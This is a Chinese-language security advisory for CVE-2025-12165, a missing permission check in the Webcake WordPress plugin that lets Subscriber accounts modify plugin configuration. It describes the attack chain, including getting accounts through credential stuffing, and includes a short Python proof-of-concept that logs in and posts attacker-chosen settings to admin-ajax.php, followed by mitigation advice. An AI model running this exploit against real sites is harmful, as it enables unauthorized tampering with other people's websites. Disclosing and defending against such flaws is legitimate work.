IPBUF安全漏洞报告
English
CVE-2025-12165 CVSS 4.3 中危

CVE-2025-12165 WordPress Webcake插件权限绕过漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-12165
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Webcake – Landing Page Builder plugin for WordPress

相关标签

权限绕过WordPress插件WebcakeAJAX端点未授权访问CVE-2025-12165配置修改CMS漏洞

漏洞概述

CVE-2025-12165是WordPress平台Webcake – Landing Page Builder插件中的一个安全漏洞。该漏洞属于权限绕过类型,源于webcake_save_config AJAX端点缺少适当的权限检查机制。在该插件1.1及以下所有版本中,攻击者只需拥有WordPress Subscriber级别(最低权限用户角色)的账户,即可调用该AJAX端点并修改插件配置设置。由于该端点未验证用户是否具有管理权限,攻击者可以利用此漏洞在未经授权的情况下更改网站页面构建器的配置,可能导致页面内容被篡改或网站功能异常。此漏洞由Wordfence安全团队于2025年12月5日披露,CVSS评分为4.3,属于中等严重程度。攻击复杂度低且无需用户交互,攻击者可通过自动化工具批量探测和利用此类漏洞。

技术细节

该漏洞的技术根源在于WordPress AJAX处理机制中的权限验证缺失。Webcake插件注册了webcake_save_config AJAX action处理程序,但仅使用了is_user_logged_in()进行基本登录验证,而未调用current_user_can()或相关权限检查函数来确认用户是否具有管理插件设置的权限。在WordPress权限模型中,Subscriber角色默认仅能阅读和评论文章,不应具备修改系统设置的权限。然而由于该端点的权限检查缺陷,任何已认证用户(包括Subscriber)都可以通过发送POST请求到/wp-admin/admin-ajax.php端点,携带action=webcake_save_config参数来触发配置保存逻辑。攻击者可以构造恶意配置数据,通过JSON或application/x-www-form-urlencoded格式提交,从而覆盖插件的合法配置。攻击成功的前提条件是目标网站必须启用该插件且攻击者拥有有效的WordPress账户凭证。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress账户(Subscriber级别或更高),可通过注册功能或凭证填充攻击获得
STEP 2
步骤2
攻击者使用账户登录WordPress,获取有效的认证session和cookie
STEP 3
步骤3
攻击者构造POST请求到/wp-admin/admin-ajax.php端点,设置action参数为webcake_save_config
STEP 4
步骤4
在请求中附加恶意配置数据,插件接收后直接写入数据库而不验证权限
STEP 5
步骤5
攻击成功后,插件配置被篡改,可能导致页面内容被修改或网站功能异常

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12165 PoC - Webcake Plugin Unauthorized Config Modification # Target: WordPress site with Webcake plugin <= 1.1 target_url = "https://target-site.com" username = "attacker_account" password = "attacker_password" # Step 1: Authenticate to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } # Step 2: Obtain nonce for AJAX request session.post(login_url, data=login_data) # Step 3: Send malicious config via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { "action": "webcake_save_config", "webcake_config": json.dumps({ "malicious_key": "malicious_value", "settings": "modified_by_attacker" }) } response = session.post(ajax_url, data=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

影响范围

Webcake – Landing Page Builder plugin <= 1.1

防御指南

临时缓解措施
如果无法立即升级插件,可临时采取以下缓解措施:1) 使用WordPress权限管理插件限制Subscriber角色的AJAX访问权限;2) 在主题functions.php中添加自定义过滤器阻止未授权用户调用webcake_save_config动作;3) 监控wp-admin/admin-ajax.php的访问日志,排查异常的webcake_save_config请求;4) 考虑暂时禁用Webcake插件直至官方修复版本发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表